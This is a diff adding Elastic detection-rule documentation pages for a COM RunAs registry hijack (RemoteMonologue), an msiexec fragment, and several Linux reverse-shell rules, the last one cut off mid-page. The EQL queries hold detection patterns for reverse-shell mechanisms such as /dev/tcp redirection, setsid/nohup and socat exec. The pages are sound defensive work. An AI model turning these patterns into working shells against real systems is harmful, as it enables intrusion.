"*/i \"C:*", "*/i C:\\*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Msiexec +** ID: T1218.007 +** Reference URL: https://attack.mitre.org/techniques/T1218/007/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-remotemonologue-attack.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-remotemonologue-attack.asciidoc new file mode 100644 index 0000000000..6105188c4e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-remotemonologue-attack.asciidoc @@ -0,0 +1,195 @@ +[[prebuilt-rule-8-19-34-potential-remotemonologue-attack]] +=== Potential RemoteMonologue Attack + +Identifies attempt to perform session hijack via COM object registry modification by setting the RunAs value to Interactive User. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.ibm.com/think/x-force/remotemonologue-weaponizing-dcom-ntlm-authentication-coercions#1 +* https://github.com/xforcered/RemoteMonologue + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential RemoteMonologue Attack* + + + + +*Possible investigation steps* + + +- Review the registry event logs to confirm the modification of the RunAs value in the specified registry paths, ensuring the change was not part of a legitimate administrative action. +- Identify the user account and process responsible for the registry modification by examining the event logs for associated user and process information. +- Check for any recent remote authentication attempts or sessions on the affected host to determine if this activity is associated with lateral movement or not. +- Investigate the timeline of the registry change to correlate with any other suspicious activities or alerts on the host, such as the execution of unusual processes or network connections. + + +*False positive analysis* + + +- Software updates or installations that modify COM settings. +- Automated scripts or management tools that adjust COM configurations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Modify the registry value back to its secure state, ensuring that "RunAs" value is not set to "Interactive User". +- Conduct a thorough review of recent user activity and system logs to identify any unauthorized access or changes made during the period NLA was disabled. +- Reset passwords for all accounts that have accessed the affected system to mitigate potential credential compromise. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring on the affected system and similar endpoints to detect any further attempts to disable NLA or other suspicious activities. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.action != "deletion" and + registry.value == "RunAs" and registry.data.strings : "Interactive User" and + + not + ( + ( + process.executable : ( + "C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.*\\MsMpEng.exe", + "C:\\Program Files\\Windows Defender\\MsMpEng.exe" + ) and + registry.path : "*\\SOFTWARE\\Classes\\AppID\\{1111A26D-EF95-4A45-9F55-21E52ADF9887}\\RunAs" + ) or + ( + process.executable : ( + "C:\\Program Files\\TeamViewer\\TeamViewer.exe", + "C:\\Program Files (x86)\\TeamViewer\\TeamViewer.exe" + ) and + registry.path : "*\\SOFTWARE\\Classes\\AppID\\{850A928D-5456-4865-BBE5-42635F1EBCA1}\\RunAs" + ) or + ( + process.executable : "C:\\Windows\\System32\\svchost.exe" and + registry.path : "*\\S-1-*Classes\\AppID\\{D3E34B21-9D75-101A-8C3D-00AA001A1652}\\RunAs" + ) or + ( + process.executable : "C:\\Windows\\System32\\SecurityHealthService.exe" and + registry.path : ( + "*\\SOFTWARE\\Classes\\AppID\\{1D278EEF-5C38-4F2A-8C7D-D5C13B662567}\\RunAs", + "*\\SOFTWARE\\Classes\\AppID\\{7E55A26D-EF95-4A45-9F55-21E52ADF9878}\\RunAs" + ) + ) or + ( + process.executable : "C:\\Windows\\System32\\SecurityHealthService.exe" and + registry.path : ( + "*\\SOFTWARE\\Classes\\AppID\\{1D278EEF-5C38-4F2A-8C7D-D5C13B662567}\\RunAs", + "*\\SOFTWARE\\Classes\\AppID\\{7E55A26D-EF95-4A45-9F55-21E52ADF9878}\\RunAs" + ) + ) or + registry.path : ( + "HKLM\\SOFTWARE\\Microsoft\\Office\\ClickToRun\\VREGISTRY_*", + "\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Office\\ClickToRun\\VREGISTRY_*" + ) or + (process.executable : "C:\\windows\\System32\\msiexec.exe" and ?user.id : "S-1-5-18") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Component Object Model Hijacking +** ID: T1546.015 +** Reference URL: https://attack.mitre.org/techniques/T1546/015/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-reverse-shell-activity-via-terminal.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-reverse-shell-activity-via-terminal.asciidoc new file mode 100644 index 0000000000..8266eb825b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-reverse-shell-activity-via-terminal.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-34-potential-reverse-shell-activity-via-terminal]] +=== Potential Reverse Shell Activity via Terminal + +Identifies the execution of a shell process with suspicious arguments which may be indicative of reverse shell activity. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-endpoint.events.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md +* https://github.com/WangYihang/Reverse-Shell-Manager +* https://www.netsparker.com/blog/web-security/understanding-reverse-shells/ +* https://www.elastic.co/security-labs/detecting-log4j2-with-elastic-security + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Reverse Shell +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Platform: macOS + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Reverse Shell Activity via Terminal* + + +A reverse shell is a mechanism that's abused to connect back to an attacker-controlled system. It effectively redirects the system's input and output and delivers a fully functional remote shell to the attacker. Even private systems are vulnerable since the connection is outgoing. This activity is typically the result of vulnerability exploitation, malware infection, or penetration testing. + +This rule identifies commands that are potentially related to reverse shell activities using shell applications. + + +*Possible investigation steps* + + +- Examine the command line and extract the target domain or IP address information. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - Scope other potentially compromised hosts in your environment by mapping hosts that also communicated with the domain or IP address. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal account behavior, such as command executions, file creations or modifications, and network connections. +- Investigate any abnormal behavior by the subject process such as network connections, file modifications, and any spawned child processes. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Any activity that triggered the alert and is not inherently malicious must be monitored by the security team. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Take actions to terminate processes and connections used by the attacker. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +If enabling an EQL rule on a non-elastic-agent index (such as beats) for versions <8.2, +events will not define `event.ingested` and default fallback for EQL rules was not added until version 8.2. +Hence for this rule to work effectively, users will need to add a custom ingest pipeline to populate +`event.ingested` to @timestamp. +For more details on adding a custom ingest pipeline refer - https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type in ("start", "process_started") and + process.name in ("sh", "bash", "zsh", "dash", "zmodload") and + process.args : ("*/dev/tcp/*", "*/dev/udp/*", "*zsh/net/tcp*", "*zsh/net/udp*") and + + /* noisy FPs */ + not (process.parent.name : "timeout" and process.executable : "/var/lib/docker/overlay*") and + not process.command_line : ( + "*/dev/tcp/sirh_db/*", "*/dev/tcp/remoteiot.com/*", "*dev/tcp/elk.stag.one/*", "*dev/tcp/kafka/*", + "*/dev/tcp/$0/$1*", "*/dev/tcp/127.*", "*/dev/udp/127.*", "*/dev/tcp/localhost/*", "*/dev/tcp/itom-vault/*") and + not process.parent.command_line : "runc init" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-reverse-shell-via-background-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-reverse-shell-via-background-process.asciidoc new file mode 100644 index 0000000000..ac64f78d7c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-reverse-shell-via-background-process.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-34-potential-reverse-shell-via-background-process]] +=== Potential Reverse Shell via Background Process + +Monitors for the execution of background processes with process arguments capable of opening a socket in the /dev/tcp channel. This may indicate the creation of a backdoor reverse connection, and should be investigated further. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Reverse Shell +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Reverse Shell via Background Process* + + +In Linux environments, background processes can be manipulated to establish reverse shells, allowing adversaries to gain remote access. By exploiting shell commands to open network sockets, attackers can create backdoor connections. The detection rule identifies suspicious executions of background processes, like 'setsid' or 'nohup', with arguments indicating socket activity in '/dev/tcp', often initiated by common shell interpreters. This helps in flagging potential reverse shell activities for further investigation. + + +*Possible investigation steps* + + +- Review the process details to confirm the presence of suspicious arguments, specifically looking for '/dev/tcp' in the process.args field, which indicates an attempt to open a network socket. +- Identify the parent process by examining the process.parent.name field to determine if it is one of the common shell interpreters like 'bash', 'dash', 'sh', etc., which could suggest a script-based execution. +- Check the user context under which the process was executed to assess if it aligns with expected user behavior or if it indicates potential compromise of a user account. +- Investigate the network activity associated with the host to identify any unusual outbound connections that could correlate with the reverse shell attempt. +- Correlate the event with other security alerts or logs from the same host to identify any preceding or subsequent suspicious activities that might indicate a broader attack pattern. +- Review historical data for similar process executions on the host to determine if this is an isolated incident or part of a recurring pattern. + + +*False positive analysis* + + +- Legitimate administrative scripts may use background processes with network socket activity for maintenance tasks. Review the script's purpose and source to determine if it is authorized. +- Automated monitoring tools might execute commands that match the rule's criteria. Identify these tools and consider excluding their specific process names or paths from the rule. +- Development environments often run test scripts that open network connections. Verify the development context and exclude known development-related processes to reduce noise. +- Backup or synchronization software may use similar techniques to transfer data. Confirm the software's legitimacy and add exceptions for its processes if necessary. +- System updates or package management tools might trigger alerts when installing or updating software. Monitor these activities and whitelist trusted update processes. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious background processes identified by the alert, specifically those involving 'setsid' or 'nohup' with '/dev/tcp' in their arguments. +- Conduct a thorough review of the affected system's process and network activity logs to identify any additional indicators of compromise or lateral movement. +- Reset credentials for any accounts that were active on the affected system to prevent unauthorized access using potentially compromised credentials. +- Apply security patches and updates to the affected system to address any vulnerabilities that may have been exploited. +- Implement network segmentation to limit the ability of compromised systems to communicate with critical infrastructure or sensitive data repositories. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +process.name in ("setsid", "nohup") and process.args : "*/dev/tcp/*0>&1*" and +process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-reverse-shell-via-child.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-reverse-shell-via-child.asciidoc new file mode 100644 index 0000000000..adeb109fcb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-reverse-shell-via-child.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-34-potential-reverse-shell-via-child]] +=== Potential Reverse Shell via Child + +This detection rule identifies suspicious network traffic patterns associated with TCP reverse shell activity. This activity consists of a network event that is followed by the creation of a shell process with suspicious command line arguments. An attacker may establish a Linux TCP reverse shell to gain remote access to a target system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Reverse Shell +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Reverse Shell via Child* + + +Reverse shells are a technique where attackers gain remote access to a system by initiating a connection from the target back to the attacker's machine. This is often achieved using shell processes like bash or socat. Adversaries exploit this by executing commands remotely, bypassing firewalls. The detection rule identifies such activity by monitoring for network events followed by suspicious shell process executions, focusing on unusual command-line arguments and parent-child process relationships. + + +*Possible investigation steps* + + +- Review the network event details to identify the source and destination IP addresses involved in the connection attempt or acceptance. Pay special attention to any external IP addresses that are not part of the internal network. +- Examine the process execution details, focusing on the command-line arguments used by the shell process. Look for unusual or suspicious arguments such as "-i" or "-l" that may indicate interactive or login shells. +- Investigate the parent-child process relationship, especially if the parent process is "socat" with arguments containing "exec". This could suggest an attempt to execute a reverse shell. +- Check the timeline of events to determine if the network event and shell process execution occurred within a short time frame (maxspan=5s), which may indicate a coordinated attack. +- Correlate the alert with any other recent suspicious activities on the host, such as unauthorized access attempts or changes in system configurations, to assess the broader context of the potential threat. +- Verify the legitimacy of the involved processes and connections by consulting with system owners or reviewing system documentation to rule out any false positives due to legitimate administrative activities. + + +*False positive analysis* + + +- Legitimate administrative scripts or tools that use shell processes with interactive flags may trigger the rule. To manage this, identify and document these scripts, then create exceptions for their specific command-line arguments or parent processes. +- Automated maintenance tasks or cron jobs that involve shell execution with similar command-line arguments can be mistaken for reverse shell activity. Review these tasks and exclude them by specifying their unique process names or arguments. +- Development or testing environments where developers frequently use shell processes for debugging or testing purposes might cause false positives. Consider excluding these environments by filtering based on host identifiers or specific user accounts. +- Network monitoring tools or legitimate applications that use socat for network connections may appear suspicious. Identify these applications and exclude their specific process names or parent-child relationships from the detection rule. +- Custom scripts or applications that mimic reverse shell behavior for legitimate purposes should be reviewed and excluded by adding their specific process names or command-line patterns to the exception list. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious shell processes identified by the detection rule, especially those initiated by or involving the listed shell programs (e.g., bash, socat). +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise, such as unauthorized user accounts or modified system files. +- Review and reset credentials for any accounts that may have been compromised, ensuring the use of strong, unique passwords. +- Apply relevant security patches and updates to the affected system to address any vulnerabilities that may have been exploited. +- Monitor network traffic for any further suspicious activity, particularly outgoing connections to unknown or suspicious IP addresses. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows +the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click Add integrations. +- In the query bar, search for Elastic Defend and select the integration to see more details about it. +- Click Add Elastic Defend. +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either Traditional Endpoints or Cloud Workloads. +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in New agent policy name. If other agent policies already exist, you can click the Existing hosts tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click Save and Continue. +- To complete the integration, select Add Elastic Agent to your hosts and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id with maxspan=5s + [network where event.type == "start" and host.os.type == "linux" and + event.action in ("connection_attempted", "connection_accepted") and + process.name : ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "socat") and destination.ip != null and + not cidrmatch(destination.ip, "127.0.0.0/8", "169.254.0.0/16", "224.0.0.0/4", "::1")] + [process where event.type == "start" and host.os.type == "linux" and event.action == "exec" and + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and ( + (process.args : ("-i", "-l")) or (process.parent.name == "socat" and process.parent.args : "*exec*") + )] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-reverse-shell-via-java.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-reverse-shell-via-java.asciidoc new file mode 100644 index 0000000000..4bd8d66481 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-reverse-shell-via-java.asciidoc @@ -0,0 +1,195 @@ +[[prebuilt-rule-8-19-34-potential-reverse-shell-via-java]] +=== Potential Reverse Shell via Java + +This detection rule identifies the execution of a Linux shell process from a Java JAR application post an incoming network connection. This behavior may indicate reverse shell activity via a Java application. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Reverse Shell +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 15 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Reverse Shell via Java* + + +Java applications, often run on Linux systems, can be exploited by adversaries to establish reverse shells, allowing remote control over a compromised system. Attackers may execute shell commands via Java processes post-network connection. The detection rule identifies suspicious Java activity by monitoring for shell executions following network connections, excluding benign processes, to flag potential reverse shell attempts. + + +*Possible investigation steps* + + +- Review the network connection details, focusing on the destination IP address to determine if it is external or potentially malicious, as the rule excludes common internal and reserved IP ranges. +- Examine the Java process that initiated the network connection, including its executable path and arguments, to identify any unusual or unauthorized JAR files being executed. +- Investigate the child shell process spawned by the Java application, checking its command-line arguments and execution context to assess if it aligns with known reverse shell patterns. +- Cross-reference the parent Java process and the child shell process with known benign applications or services, such as Jenkins or NetExtender, to rule out false positives. +- Analyze historical data for the host to identify any previous similar activities or patterns that might indicate a persistent threat or repeated exploitation attempts. + + +*False positive analysis* + + +- Java-based administrative tools like Jenkins may trigger false positives when executing shell commands. Exclude known benign Java applications such as Jenkins by adding their specific JAR paths to the exception list. +- Automated scripts or maintenance tasks that use Java to execute shell commands can be mistaken for reverse shell activity. Identify and exclude these scripts by specifying their unique process arguments or executable paths. +- Development environments where Java applications frequently execute shell commands for testing purposes can generate false alerts. Consider excluding these environments by filtering based on specific host identifiers or network segments. +- Security tools that utilize Java for network operations and shell executions might be flagged. Verify and exclude these tools by adding their process names or executable paths to the exception list. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious Java processes identified in the alert to stop potential reverse shell activity. +- Conduct a thorough review of the affected system's logs to identify any additional indicators of compromise or lateral movement attempts. +- Remove any unauthorized or malicious Java JAR files and associated scripts from the system. +- Apply security patches and updates to the Java environment and any other vulnerable software on the affected host. +- Restore the system from a known good backup if any unauthorized changes or persistent threats are detected. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent 